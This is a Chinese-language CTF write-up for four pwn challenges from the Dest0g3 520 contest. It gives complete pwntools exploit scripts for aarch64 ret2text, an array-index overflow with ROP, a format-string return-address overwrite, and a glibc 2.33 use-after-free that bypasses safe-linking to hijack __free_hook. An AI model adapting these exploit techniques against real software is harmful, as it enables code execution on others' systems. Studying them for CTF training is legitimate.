0%

Dest0g3-520-迎新赛-pwn

Dest0g3 520 迎新赛部分pwn题复现

ez_aarch

Xo0R9f.jpg

aarch64架构的ret2text,除了canary全开了

运行程序

1
qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./stack

用gdb-multiarch调试确定溢出长度

先将程序在指定端口跑起来

1
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./stack

gdb-multiarch调试

1
2
gdb-multiarch ./stack
pwndbg> target remote localhost:1234

按c继续运行程序,用pwntools生成字符串并输入到qemu运行的程序中

1
2
from pwn import *
cyclic(100)

此时再回到gdb

XoBcqJ.jpg

可以看到PC寄存器已经改成了kaaalaa,用pwntools确定偏移

1
cyclic_find("kaaalaa")

XoBzz8.jpg

得到偏移为40

exp

1
2
3
4
5
6
7
8
from pwn import *
io = remote("node4.buuoj.cn", 26474)
context.log_level = "debug"

io.recvuntil(b'Please leave your name:\n')
payload = b'a'*40 + b'\x3c'
io.send(payload)
io.interactive()

ez_pwn

32位数组溢出

XTJgTf.jpg

这里输入数组长度的时候用了abs取绝对值,所以可以-1得到一个很大的值

数组溢出可以参考这篇:数组溢出

然后gdb调试得到表示数组下标的地方,改成到返回地址的偏移然后和正常的rop一样泄露libc,getshell一样的操作覆盖返回地址和传参就行

需要注意的是输入数组用的是%d,最大值为0xffffffff,所以最后输入system或者one_gadget的时候要输入负数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
io = process('./ez_pwn')
#io = remote("node4.buuoj.cn", 26389)
elf = ELF("./ez_pwn")
context.log_level = "debug"
#gdb.attach(io, "b* 0x8049342")

def add(num):
io.sendlineafter(b"input your choice:", b"1")
io.sendlineafter(b"input num", str(num))



io.sendlineafter(b"input the length of array:", b"-1")

for i in range(10):
add(0xffffffff)

add(0xffffffff)
add(0x1)

add(0x11)
add(elf.plt["puts"])
add(0x8049216)
add(elf.got["puts"])
io.sendlineafter(b"input your choice:", b"4")
io.recvuntil("\n")
io.recvuntil("\n")
puts_addr = u32(io.recv(4))
print("puts_addr: ", hex(puts_addr))

libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump("system")
sh = libcbase + libc.dump("str_bin_sh")
one = libcbase + 0x3d2a5

io.sendlineafter(b"input the length of array:", b"-1")

for i in range(10):
add(0xffffffff)

add(0xffffffff)
add(0x1)
add(0x11)


#add(-(0xffffffff - one + 1))
add(-(0xffffffff - sys_addr + 1))
add(0)
add(-(0xffffffff - sh + 1))

io.sendlineafter(b"input your choice:", b"4")
io.interactive()

dest_love

XTdpoq.jpg

格式化字符串漏洞,让dword_4010==1314520就可以getshell,但是这个值不在栈上,所以就之间格式化字符串改返回地址为one_gadget了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher import *
io = process("./pwn")
context.log_level = "debug"
#gdb.attach(io, "b* $rebase(0x1204)")

#leak libc
io.recvline()
io.send(b"%9$p")
libc_start_main = int(io.recv(14), 16) - 213
print(hex(libc_start_main))
libc = LibcSearcher("__libc_start_main", libc_start_main)
libcbase = libc_start_main - libc.dump("__libc_start_main")
one = libcbase + 0xde78f
'''
0xde78c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xde78f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
print(hex(one))


#leak stack
io.recvline()
io.send(b"%10$p")
stack = int(io.recv(14), 16) - 0xf8
print(hex(stack))


io.recvuntil("What about your love to Dest0g3?\n")
payload = "%" + str(stack + 8 & 0xffff) + "c" + "%10$hnxxxx\x00"
io.send(payload)


io.recvuntil("What about your love to Dest0g3?\n")
payload = "%" + str(one & 0xffff) + "c" + "%39$hnxxxx\x00"
io.send(payload)

io.recvuntil("What about your love to Dest0g3?\n")
payload = "%" + str(stack + 10 & 0xffff)+ "c" +"%10$hnxxxx\x00"
io.send(payload)

payload = "%" + str(one >> 16 & 0xffff) + "c" + "%39$hnxxxx\x00"
io.send(payload)
io.interactive()

ezuaf

题目是很常见的菜单题,漏洞也很明显,就是一个uaf,这里主要是学习了一下glibc-2.33新引进的防护进制:safe-linking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
/* 加密函数 */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
/* 解密函数 */
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

整体的一个加密方式就是

1
p->fd = ((&p->fd)>>12) ^ REVEAL_PTR(p->fd)

当前堆块的fd会等于当前堆块地址 >> 12 ^ 原fd(相邻先被释放的堆块地址)

创建两个堆块然后free进tcache 中

img

接下来按上面的公式来算一下

第一个被释放的堆块

1
fd = (0x55555555b2a0 >> 12) ^ 0

第二个被释放的堆块

1
fd = (0x55555555b2c0 >> 12) ^ 0x55555555b2a0

这里可以直接理解为新的fd为当前堆的data区域的地址异或上一个key,而这个key即是第一个free进tcachebins中的堆块的data区域地址>>12得到

所以2.33版本以上的uaf只是比平常的攻击多了个异或key的过程,key的值可以通过泄露第一个free的堆块的fd来得到

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#io = process('./pwn')
io = remote('node4.buuoj.cn', 25982)
elf = ELF('./pwn')
context.log_level = 'debug'
#gdb.attach(io)

def new(size, content):
io.sendlineafter(': ', '1')
io.sendlineafter('Please tell me its size:', str(size))
io.sendlineafter('Content: ', content)

def edit(idx, content):
io.sendlineafter(': ', '2')
io.sendlineafter('Please tell me the index:', str(idx))
io.sendlineafter('Please tell me its content:', content)

def delete(idx):
io.sendlineafter(': ', '3')
io.sendlineafter('Please tell me the index:', str(idx))

def show(idx):
io.sendlineafter(': ', '4')
io.sendlineafter('Please tell me the index:', str(idx))

new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x80, b'/bin/sh\x00')
new(0x10, b'/bin/sh\x00')

delete(0)
show(0)
key = u64(io.recvuntil('\x05')[2:].ljust(8, b'\x00'))
print('key:', hex(key))

for i in range(7):
delete(i + 1)

show(7)

malloc_hook = u64(io.recvuntil('\x7f')[2:].ljust(8, b'\x00')) - 96 - 0x10
print('malloc_hook:',hex(malloc_hook))
libc = LibcSearcher('__malloc_hook', malloc_hook)
libcbase = malloc_hook - libc.dump('__malloc_hook')
free_hook = libcbase + libc.dump('__free_hook')
sys_addr = libcbase + libc.dump('system')

new(0x80, b'aaaa') #6 9
delete(6)

payload = p64(key ^ free_hook)
edit(9, payload)

new(0x80, b'aaaa')
new(0x80, p64(sys_addr))
delete(8)


io.interactive()